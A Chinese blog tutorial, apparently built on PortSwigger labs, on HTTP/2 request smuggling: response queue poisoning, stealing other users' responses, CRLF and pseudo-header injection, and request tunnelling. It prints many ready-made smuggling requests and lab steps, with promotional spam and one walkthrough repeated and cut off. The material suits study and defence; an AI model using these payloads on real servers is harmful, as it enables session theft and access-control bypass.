WEB安全-金手铐系列-HTTP 2高级请求夹带攻击--Advanced request smuggling_http 2攻击(2)

最新推荐文章于 2024-07-27 10:13:06 发布
最新推荐文章于 2024-07-27 10:13:06 发布
阅读量795 收藏 11
点赞数 18
分类专栏： 程序员 文章标签： 大数据 面试 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84166147/article/details/138869367
版权

img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上大数据知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以戳这里获取

2. H2.TE漏洞

分块传输编码TE与HTTP/2不兼容，TE报头都应该被剥离，或者完全阻止请求。若前端服务器在降级时，没有去除含有TE报头的报文，可能就会引起请求走私攻击。

:method 	POST
:path 	/example
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
transfer-encoding 	chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar


POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
3. 响应队列中毒

响应队列毒化是一种强大的请求走私攻击形式，它会导致前端服务器将响应从后端匹配到错误的请求。在实践中，这意味着相同前端/后端连接的所有用户得到的响应都被扰乱，被攻击者获取或利用。
这是通过走私一个完整的请求，却在后端产生了两个响应，其中一个发回给请求者，另一个则驻留在响应队列中，反馈给下一个请求者（可下一个要的不是这个响应啊，所以产生了混乱，导致信息响应给了别人）。

获取的响应可能包含敏感的个人或业务数据以及会话令牌等。

该攻击影响较大，正常用户尝试浏览网站时，将收到来自服务器的看似随机的响应，这将阻止大多数功能正常工作。

  • 构造攻击的条件
    • 前、后端服务之前建立的TCP连接，在多个请求/响应周期（会话）中重复使用。
    • 能成功完成独立完整的请求走私攻击，并收到对应的后端响应。
    • 攻击过程中不会导致任何一台服务器关闭TCP连接。（通常服务器在收到无效请求时，因无法确认结束点，会主动关闭连接。）
    • 明确攻击细节产生的影响

提示：只要服务器收到无效请求，即会关闭连接。
但如果仅有一个带有部分请求头的请求行（如 x=1GET / HTTP/1.1 ），后端最终仍会认为是两个完整的请求。不会关闭连接。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / HTTP/1.1         （注意此行，第二个请求是GET方法，仅隐藏一个带有部分请求头的请求行）
  • 如果走私也包含正文的请求，则连接的下一个请求将被附加到走私请求的正文中。数据包根据内容长度截断最终请求。结果，后端实际上看到了三个请求，其中第三个“请求”只是一系列剩余的字节：这将导致服务器收到无效请求，关闭连接

前端发送

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25

x=GET / HTTP/1.1
Host: vulnerable-website.com

后端处理后

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25

x=GET / HTTP/1.1
Host: v（因长度为25，将在此处截断，后面为第三个不完整数据包内容）ulnerable-website.com

完整标准的攻击构造

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n


POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
4. 如何窃取其他用户的响应

一个完整的请求走私攻击如下图：
请添加图片描述

两个请求，由于前端以为只发了“一个”请求，所以第一个响应被正常返回给客户端了。
但第二个响应却驻留在了前端与后端之间（响应序列中排第一）。
当后续再有用户正常请求时，这个驻留响应将被发给这个用户，但问题出现了，这时这个用户真实的响应却驻留在了前后端之间。（并在响应序列中排第一）
所以怎么窃取呢，这时如果攻击拿捏好时间，再次访问，则驻留响应就会发给攻击者，使攻击者获取别人的信息。

请添加图片描述

使用Burp Intruder之类的工具，攻击者可以很容易地自动重新发出请求。这样做可以快速获取不同用户的各种回复，其中可能包含有用的数据。只要前端/后端连接保持打开，就可以继续窃取此类响应。连接关闭的确切时间因服务器而异，但常见的默认情况是在处理了100个请求后终止连接。有过成功先例，再次重新毒化一个新连接也很容易。

为了更容易区分窃取响应，请在发送的两个请求中使用不存在的路径。这样自己的请求应该一致地收到404响应，易于区分。

例题 2

5. 通过CRLF注入完成请求走私攻击

部分网站采取了H2.CL和H2.TE攻击的基础防护

  • 验证Content-Length
  • 过滤掉Transfer-Encoding

相对应绕过方式有如下两种

  • 在HTTP/1中，利用服务器处理独立换行符(\n)的差异来走私被禁止的标头。
foobar\r\nTransfer-Encoding: chunked
  • HTTP/2中 \r\n标头值中不再有任何特殊意义，但在降为1.0时，HTTP/1后端服务器将看到两个不同的标头
foobar\r\nTransfer-Encoding: chunked
Foo: bar
Transfer-Encoding: chunked

例题 3

6. 其他HTTP/2的报头注入攻击方式

尽管下文介绍的很多种请求被HTTP/2规范正式禁止，但一些服务器未能有效地验证和阻止它们，导致可以利用。

  • 通过标头名称注入

冒号或者\r\n无法在HTTP/2中使用，但是在HTTP/1.1中可以使用。前端服务器未识别出异常，一个数据包传递到后端，后端使用HTTP/1.1识别出多个数据包，造成请求走私

foo: bar\r\nTransfer-Encoding: chunked\r\nX: ignore


Foo: bar\r\n
Transfer-Encoding: chunked\r\n
X: ignore\r\n
  • 伪头部标头

HTTP/2中没有请求行或者状态行，这些数据信息是通过伪头部放到请求的最前面的（二进制）。在Burp中文本话表现为带有冒号开头的伪头部，与普通报头区分开来。伪标头一般有五个：

  1. :method-请求方法。

如果method值中可包含空格，则您可以按如下方式注入完全不同的请求行

:methodGET /admin HTTP/1.1
:path/anything
:authorityvulnerable-website.com
GET /admin HTTP/1.1 /anything HTTP/1.1
Host: vulnerable-website.com
  1. :path-请求路径。多重表头攻击。请注意，这包括查询字符串。
:methodPOST
:path/anything
:path/admin
:authorityvulnerable-website.com

寻找前后端服务器处理差异，是否可以直接访问受控路径/admin

  1. :authority-大致相当于HTTP/1 host标头。

请参考文章 《host头攻击》

  1. :scheme-请求协议，通常为HTTP或HTTPS。攻击尝试写入全路径
:method 	GET
:path 	/anything
:authority 	vulnerable-website.com
:scheme 	https://evil-user.net/poison?

导致后续处理时出现异常，产生异常跳转。

:status 	301
location 	https://evil-user.net/poison?://vulnerable-website.com/anything/
  1. :status-响应状态代码(不在请求中使用)。

当网站将请求降级为HTTP/1时，使用其中一些伪头的值来动态构建请求行。这使构建攻击成为可能。

7. HTTP/2请求报头差分多个请求包

在程序有效验证Content-Length并且不支持Transfer-Encoding时，导致上述方法失效时，可尝试此方法。

:methodGET
:path/
:authorityvulnerable-website.com
foobar\r\n\r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com

例题 4

8. HTTP请求隧道

前述的各种利用方式都是建立在同一连接可以处理多个请求，但万一服务器对此有更严格的控制，甚至是不允许复用同一链接呢。

  • 同一IP或同一客户端才能使用一个连接
    请添加图片描述
  • 利用请求隧道获取内部头部
    1. 漏洞确认：单纯使用HTTP/1其实无法确认是否能使用，但是HTTP/2降到1的程序，如果发送一个请求，却收到两个响应，则一存在请求走私漏洞。
    2. 获取内部添加的请求头：前后端对一个请求无差异，但是在处理请求头结束时往往有细微差别，前端默认原请求头末尾为标头结束。但后端往往认为\r\n是，则会将内部添加的请求头认为是正文一部分进行响应，导致泄露。
:method 	POST
:path 	/comment
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
foo 	

bar\r\n
Content-Length: 200\r\n
\r\n
comment=
x=1 


POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3   （此处泄露内部请求头）
x=1

三、漏洞实例

1. H2.CL请求走私（H2.CL request smuggling）
  • 目标

引诱目标用户从攻击服务器加载恶意的JavaScript文件并调alert(document.cookie)。

  • 解题思路
    1. 探索网站，在repeater选项中，关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override
    2. 尝试如下代码可以任意发文自定义Host
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: 自定义任意               
Content-Length: 5

x=1
  1. 构造攻击包。攻击服务其上，路径改为/resources，body改为alert(document.cookie)
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.web-security-academy.net
Content-Length: 5

x=1
2. 通过H2.TE请求走私实现响应队列中毒（Response queue poisoning via H2.TE request smuggling）
  • 目标

通过毒化响应队列，进入/admin控制面板，删除账户calors
管理员每15秒登陆一次，链接每10次通讯后重置。

  • 解题思路

这道题设计的不难，但是能清晰的说明上述介绍的知识点

  1. 尝试如下代码，如果出现第一次请求正常200响应，紧接着第二次请求，大概率出现404响应，则以为着存在请求走私漏洞。
POST / HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED    （这是遗留的字段，会与第二个请求混在一起，形成无效访问，造成404响应）
  1. 构造独立请求走私攻击包，路径替换为不存在路径，一般响应为404或200，但是若获取到302响应则为用户响应被窃取到。多尝试几次
POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked


![img](https://img-blog.csdnimg.cn/img_convert/6c17daa447f0deec8b60379aaab034fd.png)
![img](https://img-blog.csdnimg.cn/img_convert/d0529ee53c7c4174a875b3bc64b8bf56.png)

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

  （这是遗留的字段，会与第二个请求混在一起，形成无效访问，造成404响应）
  1. 构造独立请求走私攻击包，路径替换为不存在路径，一般响应为404或200，但是若获取到302响应则为用户响应被窃取到。多尝试几次
POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked


[外链图片转存中...(img-PTHeweB9-1715690480830)]
[外链图片转存中...(img-aoSQXfL9-1715690480830)]

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
2401_84166147
关注
  • 18
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
http-request-smuggling:HTTP请求走私检测工具
05-04
HTTP请求走私检测工具HTTP请求走私是一种高度严重的漏洞，该技术是攻击者通过模糊的HTTP请求走私以绕过安全控制并获得未经授权的访问权以执行恶意活动，该漏洞是在2005年由发现的，并于2019年8月重新发现。...
WEB安全-金手铐系列-HTTP 2高级请求夹带攻击--Advanced request smuggling_http 2攻击
2401_84183802的博客
05-03 969
提示：只要服务器收到无效请求，即会关闭连接。但如果仅有一个带有部分请求头的请求行（如 x=1GET / HTTP/1.1 ），后端最终仍会认为是两个完整的请求。不会关闭连接。前端发送后端处理后。
上网的烦恼
郭晓琳 廊坊师范学院十期提高班
09-23 1011
上网的烦恼 中秋节前一天晚上电脑突然不能上网了，我也没在意，反正“管理员”总是很忙嘛，所以我就没有再多想，以为明天就好了。结果第二天来了突然有了一个大的surprise——电脑中病毒开不了机了！！没办法只好重装系统喽，装完之后发现改了IP地址还是不能正常上网，而且总是显示IP地址和别人冲突，和旁边新阳的设置对照了一下发现我的DHCP是打开的而她的是关着的，于是赶紧查了下这个DHCP究竟是怎么
WEB安全-金手铐系列-HTTP/2高级请求夹带攻击--Advanced request smuggling
Eason_LYC安全白帽子的成长博客
05-27 959
本文详细介绍了HTTP/2的基础知识和相关安全知识，并有详细靶场讲解。 阅读此文需要一定的HTTP基础，若看不懂的话，不要紧，请先三连。后续我会将我的文章根据知识点的先后顺序和难易程度分组，方便大家阅读，谢谢。
HTTP请求夹带攻击 -- 学习笔记
angry_program的博客
09-10 3975
什么是HTTP请求夹带攻击？ HTTP请求夹带（HTTP request smuggling）是一种干扰网站处理从一个或多个用户接受的请求的一种攻击技术。通俗地理解就是：攻击者发送一个语句模糊的请求，就有可能被解析为两个不同的HTTP请求，第二请求就会“逃过”正常的安全设备的检测，使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。 HTTP请求夹带原理 现金的Web应用通常会在用户和最终应用程序逻辑之间使用大量的HTTP服务器，用以优化分流控制网络流量用户发送多个请求.
HTTP-Smuggling-Lab:使用HTTP走私实验室学习HTTP走私
05-22
HTTP-Smuggling-Lab是用于学习有关HTTP请求走私的实验室。 安装 使用docker-compose在每个目录中构建实验室。 用法 在每个目录中详细阅读README.md。 在Lab1中，我们将链接一些反向代理关系，Nginx将是最终的后端，...
http-desync-guardian:分析HTTP请求以最大程度地减少HTTP异步攻击的风险（HTTP请求走私拆分的前身）
03-21
http_desync_guardian库旨在分析HTTP请求，以防止HTTP Desync攻击，从而平衡安全性和可用性。它将请求分为不同并提供有关如何处理每个层级的建议。 它既可以用于原始HTTP请求标头，也可以由HTTP引擎解析。消费者...
信息安全_数据安全_us-18-Kettle-Practical-Web-Cache.pdf
08-22
Web缓存毒化可能与其他攻击手法结合，如响应分割（Response Splitting）和请求走私（Request Smuggling），这些都属于理论上的缓存威胁。攻击者可能利用这些技术进行跨站脚本（XSS）、会话劫持等攻击，进一步危害...
高级java笔试题-Web-Security-Note:记录一些常见的Web安全站点
06-03
高级java笔试题 Record some common Web security sites 由于平常读过的文章以及遇到的比较好的开源项目都被渐渐遗忘了，所以利用这个项目来记录一下，以便查阅。 目录： CTF Online-Tools 漏洞环境 信息搜集 工具 ...
解析针对 HTTP/2 协议的不同步攻击
HBohan的博客
09-06 839
HTTP/2 很容易被误认为是一种传输层协议，HTTP/2 （原名HTTP/2.0）即超文本传输协议 2.0，是下一代HTTP协议。是由互联网工程任务组（IETF）的Hypertext Transfer Protocol Bis (httpbis)工作小组进行开发。是自1999年http1.1发布后的首个更新。HTTP 2.0在2013年8月进行首次合作共事性测试。在开放互联网上HTTP 2.0将只用于https：//网址，而 http：//网址将继续使用HTTP/1，目的是在开放互联网上增加使用加密技术，
分布式系统常见软件架构模式
Ben的专栏
07-25 949
简而言之，有效管理数据和通信流对于构建健壮且可扩展的分布式系统至关重要。对等、API 网关、发布-订阅、请求-响应、事件溯源、ETL、批处理、流处理和编排等架构模式提供了有价值的解决方案，以应对系统设计和实现中的各种挑战。通过理解这些软件架构和分布式系统模式及其各自的优势和权衡，架构师和开发人员可以做出明智的决策，设计出满足其应用程序和用户不断变化的需求的系统。
SpringBoot整合Elastic-Job 2.1.53版本任务调度，手动任务，动态添加任务演示
小哇
07-23 396
zookeeper安装并成功运行。
数据分析师学习路线与就业环境分析报告
关注收藏，可以私信解决问题！
07-23 955
数据分析师负责收集、处理和分析数据，以帮助企业做出基于数据的决策。他们使用统计方法、数据建模和数据可视化技术来解释复杂的数据集。
江苏科技大学24计算机考研数据速览，有专硕复试线大幅下降67分！
m0_72717598的博客
07-23 500
江苏科技大学（Jiangsu University of Science and Technology），坐落在江苏省镇江市，是江苏省重点建设高校，江苏省人民政府与中国船舶集团有限公司共建高校，国家国防科技工业局与江苏省人民政府共建高校 ，教育部卓越工程师教育培养计划高校，教育部本科教学工作水平评估优秀学校，江苏省高水平大学建设高峰计划B类建设高校，中国船舶与海洋工程产业知识产权联盟、江苏船舶与海洋类高校协同发展联盟牵头单位。其中，研究生新生学业奖学金特等奖3万，一等奖1.2万，二等奖0.8万；
Kafka知识总结（选举机制+控制器+幂等性）
最新发布
月伴飞鱼
07-27 746
其他Broker启动时也会在Zookeeper中创建临时节点，但是发现节点已经存在，所以它们会收到一个异常，意识到控制器已经存在，那么就会在Zookeeper中创建Watch对象，便于它们收到控制器变更的通知。他只能保证单分区上的幂等性，即一个幂等性Producer只能够保证某个topic的一个分区上不出现重复消息，无法实现多分区的幂等。控制器上保存了最全的集群元数据信息，其他所有 Broker 会定期接收控制器发来的元数据更新请求，从而更新其内存中的缓存数据。目前，当有新 Broker 启动后，它会在。
杭州东网约车管理再出行方面取得的显著成效
2301_81759256的博客
07-25 480
本次革新，沧穹科技首创将音频“室内北斗”应用于网约车智能导航，利用其信号的空间传播特性和信号传播时间或相位差的精确测量技术，实现网约车智能化服务中对车辆与乘客实时位置的精确追踪，从而确保从预约到乘车的全流程实现智能化、可视化、灵活化管理。同时，管理部门还利用大数据分析，对网约车运营情况进行实时监控和分析，及时发现问题并进行处理，确保了网约车服务的稳定性和可靠性。同时，管理部门还将持续关注行业动态和乘客需求变化，不断优化服务流程和提高服务质量，为广大市民和游客提供更加便捷、安全、舒适的出行体验。
压测实操--produce压测方案
07-24 939
作者：九月环境信息：操作系统centos7.9，kafka版本为hdp集群中的2.0版本。
HTTP Request Smuggling
07-28
HTTP Request Smuggling 是一种攻击技术，利用了不同的 HTTP 设备（如负载均衡器、防火墙等）在处理 HTTP 请求时的解析差异，从而导致安全漏洞。 攻击者通过构造特殊的 HTTP 请求，利用不同设备在解析请求时的差异性，让部分设备认为请求结束，而另一部分设备认为请求并未结束。这种差异可能导致请求被拆分成多个部分，在后续处理中可能产生安全漏洞，例如绕过访问控制、绕过身份验证、执行未授权操作等。 攻击者通常会尝试向目标服务器发送构造精细的请求，以利用设备解析差异性。常见的 HTTP Request Smuggling 攻击包括： 1. 链接队列攻击：在 HTTP 请求头中使用换行符来分割请求，在设备解析时将请求分割成两部分。 2. Content-Length 碎片攻击：通过构造含有 Content-Length 的请求，在设备解析时将请求拆分成多个片段。 3. Transfer-Encoding 碎片攻击：通过构造含有 Transfer-Encoding 的请求，在设备解析时将请求拆分成多个片段。 4. HTTP Verb 碎片攻击：通过构造含有 HTTP Verb 的请求，在设备解析时将请求拆分成多个片段。 为了防止 HTTP Request Smuggling 攻击，以下是一些防护措施： 1. 更新设备和服务器软件以修复解析差异导致的漏洞。 2. 在负载均衡器、防火墙等设备上配置适当的规则和过滤器，防止恶意请求通过。 3. 使用安全编码实践，对输入数据进行适当的验证和过滤，确保输入数据不会导致解析差异性。 4. 监控和分析网络流量，检测异常请求模式和攻击行为。 总之，了解 HTTP Request Smuggling 攻击并采取适当的防护措施是保护应用程序和网络安全的重要步骤。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值